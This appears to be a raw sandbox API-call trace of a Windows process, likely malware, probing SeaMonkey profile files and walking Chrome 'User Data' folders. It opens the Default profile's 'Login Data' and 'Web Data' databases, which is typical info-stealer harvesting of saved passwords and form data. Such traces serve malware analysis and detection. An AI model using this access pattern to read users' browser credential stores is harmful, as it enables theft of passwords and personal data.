	[0102.071] wcscpy (in: _Dest=0x18aa2c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey"
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned 0x33
	[0102.071] wcscat (in: _Dest=0x18aa2c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\"
	[0102.071] wcscat (in: _Dest=0x18aa2c, _Source="profiles.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini"
	[0102.071] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\seamonkey\\profiles.ini")) returned 0xffffffff
	[0102.072] wcslen (_String="C:\\Program Files (x86)\\Sea Monkey") returned 0x21
	[0102.072] wcslen (_String="nss3.dll") returned 0x8
	[0102.072] wcscpy (in: _Dest=0x18bef8, _Source="C:\\Program Files (x86)\\Sea Monkey" | out: _Dest="C:\\Program Files (x86)\\Sea Monkey") returned="C:\\Program Files (x86)\\Sea Monkey"
	[0102.072] wcslen (_String="C:\\Program Files (x86)\\Sea Monkey") returned 0x21
	[0102.072] wcscat (in: _Dest=0x18bef8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Sea Monkey\\") returned="C:\\Program Files (x86)\\Sea Monkey\\"
	[0102.072] wcscat (in: _Dest=0x18bef8, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Sea Monkey\\nss3.dll") returned="C:\\Program Files (x86)\\Sea Monkey\\nss3.dll"
	[0102.072] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Sea Monkey\\nss3.dll" (normalized: "c:\\program files (x86)\\sea monkey\\nss3.dll")) returned 0xffffffff
	[0102.072] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18cf38, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1
	[0102.072] wcslen (_String="Google\\Chrome\\User Data") returned 0x17
	[0102.072] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0102.072] wcscpy (in: _Dest=0x18cd28, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local"
	[0102.072] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0102.072] wcscat (in: _Dest=0x18cd28, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\"
	[0102.072] wcscat (in: _Dest=0x18cd28, _Source="Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.072] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.072] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.072] wcslen (_String="*.*") returned 0x3
	[0102.072] wcscpy (in: _Dest=0x18b71c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.072] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.072] wcscat (in: _Dest=0x18b71c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.072] wcscat (in: _Dest=0x18b71c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\*.*"
	[0102.072] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 0x616500
	[0102.075] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.075] wcslen (_String=".") returned 0x1
	[0102.075] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.075] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.075] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.075] wcscat (in: _Dest=0x18bbf4, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\."
	[0102.075] wcscmp (_String1=".", _String2="..") returned -1
	[0102.075] wcscmp (_String1=".", _String2=".") returned 0
	[0102.075] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.075] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.076] wcslen (_String="..") returned 0x2
	[0102.076] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.076] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.076] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.076] wcscat (in: _Dest=0x18bbf4, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\.."
	[0102.076] wcscmp (_String1="..", _String2="..") returned 0
	[0102.076] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.076] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.076] wcslen (_String="CertificateTransparency") returned 0x17
	[0102.076] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.076] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.076] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.076] wcscat (in: _Dest=0x18bbf4, _Source="CertificateTransparency" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency"
	[0102.076] wcscmp (_String1="CertificateTransparency", _String2="..") returned 1
	[0102.076] wcscmp (_String1="CertificateTransparency", _String2=".") returned 1
	[0102.076] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x4f
	[0102.076] wcslen (_String="Web Data") returned 0x8
	[0102.076] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency"
	[0102.076] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x4f
	[0102.076] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\"
	[0102.076] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data"
	[0102.076] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\web data")) returned 0xffffffff
	[0102.077] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x4f
	[0102.077] wcslen (_String="Login Data") returned 0xa
	[0102.077] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency"
	[0102.077] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x4f
	[0102.077] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\"
	[0102.077] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data"
	[0102.077] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\login data")) returned 0xffffffff
	[0102.077] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.077] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.077] wcslen (_String="Crashpad") returned 0x8
	[0102.077] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.077] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.077] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.077] wcscat (in: _Dest=0x18bbf4, _Source="Crashpad" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad"
	[0102.077] wcscmp (_String1="Crashpad", _String2="..") returned 1
	[0102.077] wcscmp (_String1="Crashpad", _String2=".") returned 1
	[0102.077] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x40
	[0102.077] wcslen (_String="Web Data") returned 0x8
	[0102.077] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad"
	[0102.077] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x40
	[0102.077] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\"
	[0102.077] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data"
	[0102.077] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpad\\web data")) returned 0xffffffff
	[0102.078] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x40
	[0102.078] wcslen (_String="Login Data") returned 0xa
	[0102.078] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad"
	[0102.078] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x40
	[0102.078] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\"
	[0102.078] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data"
	[0102.078] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpad\\login data")) returned 0xffffffff
	[0102.078] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.078] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.078] wcslen (_String="CrashpadMetrics-active.pma") returned 0x1a
	[0102.078] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.078] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.078] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.078] wcscat (in: _Dest=0x18bbf4, _Source="CrashpadMetrics-active.pma" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CrashpadMetrics-active.pma") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\CrashpadMetrics-active.pma"
	[0102.078] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.078] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.078] wcslen (_String="Default") returned 0x7
	[0102.078] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.078] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.078] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.078] wcscat (in: _Dest=0x18bbf4, _Source="Default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
	[0102.078] wcscmp (_String1="Default", _String2="..") returned 1
	[0102.078] wcscmp (_String1="Default", _String2=".") returned 1
	[0102.078] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x3f
	[0102.078] wcslen (_String="Web Data") returned 0x8
	[0102.078] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
	[0102.078] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x3f
	[0102.078] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\"
	[0102.078] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
	[0102.078] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\web data")) returned 0x2020
	[0102.082] LockFile (hFile=0x12c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1
	[0102.082] LockFileEx (in: hFile=0x12c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18913c | out: lpOverlapped=0x18913c) returned 1
	[0102.082] UnlockFile (hFile=0x12c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1
	[0102.082] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31c251, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81
	[0102.082] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31c251, cbMultiByte=-1, lpWideCharStr=0x1da05c0, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 81
	[0102.083] UnlockFile (hFile=0x12c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1
	[0102.083] LockFile (hFile=0x12c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1
	[0102.083] LockFileEx (in: hFile=0x12c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18941c | out: lpOverlapped=0x18941c) returned 1
	[0102.083] UnlockFile (hFile=0x12c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1
	[0102.084] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31c251, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81
	[0102.084] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31c251, cbMultiByte=-1, lpWideCharStr=0x1da09d0, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 81
	[0102.084] GetFileSize (in: hFile=0x12c, lpFileSizeHigh=0x189440 | out: lpFileSizeHigh=0x189440*=0x0) returned 0x10000
	[0102.084] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31c2a2, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77
	[0102.084] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31c2a2, cbMultiByte=-1, lpWideCharStr=0x1da09d0, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-wal") returned 77
	[0102.084] UnlockFile (hFile=0x12c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1
	[0102.093] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x3f
	[0102.093] wcslen (_String="Login Data") returned 0xa
	[0102.093] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
	[0102.093] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x3f
	[0102.093] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\"
	[0102.093] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
	[0102.093] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data")) returned 0x2020
	[0102.110] LockFile (hFile=0x12c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1
	[0102.110] LockFileEx (in: hFile=0x12c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18913c | out: lpOverlapped=0x18913c) returned 1
	[0102.110] UnlockFile (hFile=0x12c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1
	[0102.110] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31ff13, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83
	[0102.110] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31ff13, cbMultiByte=-1, lpWideCharStr=0x1dbd458, cchWideChar=83 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 83
	[0102.111] UnlockFile (hFile=0x12c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1
	[0102.112] LockFile (hFile=0x12c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1
	[0102.112] LockFileEx (in: hFile=0x12c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18934c | out: lpOverlapped=0x18934c) returned 1
	[0102.112] UnlockFile (hFile=0x12c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1
	[0102.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31ff13, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83
	[0102.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31ff13, cbMultiByte=-1, lpWideCharStr=0x1dc1f28, cchWideChar=83 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 83
	[0102.112] GetFileSize (in: hFile=0x12c, lpFileSizeHigh=0x189370 | out: lpFileSizeHigh=0x189370*=0x0) returned 0x4800
	[0102.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31ff66, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79
	[0102.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x31ff66, cbMultiByte=-1, lpWideCharStr=0x1dc1f28, cchWideChar=79 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-wal") returned 79
	[0102.112] UnlockFile (hFile=0x12c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1
	[0102.113] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
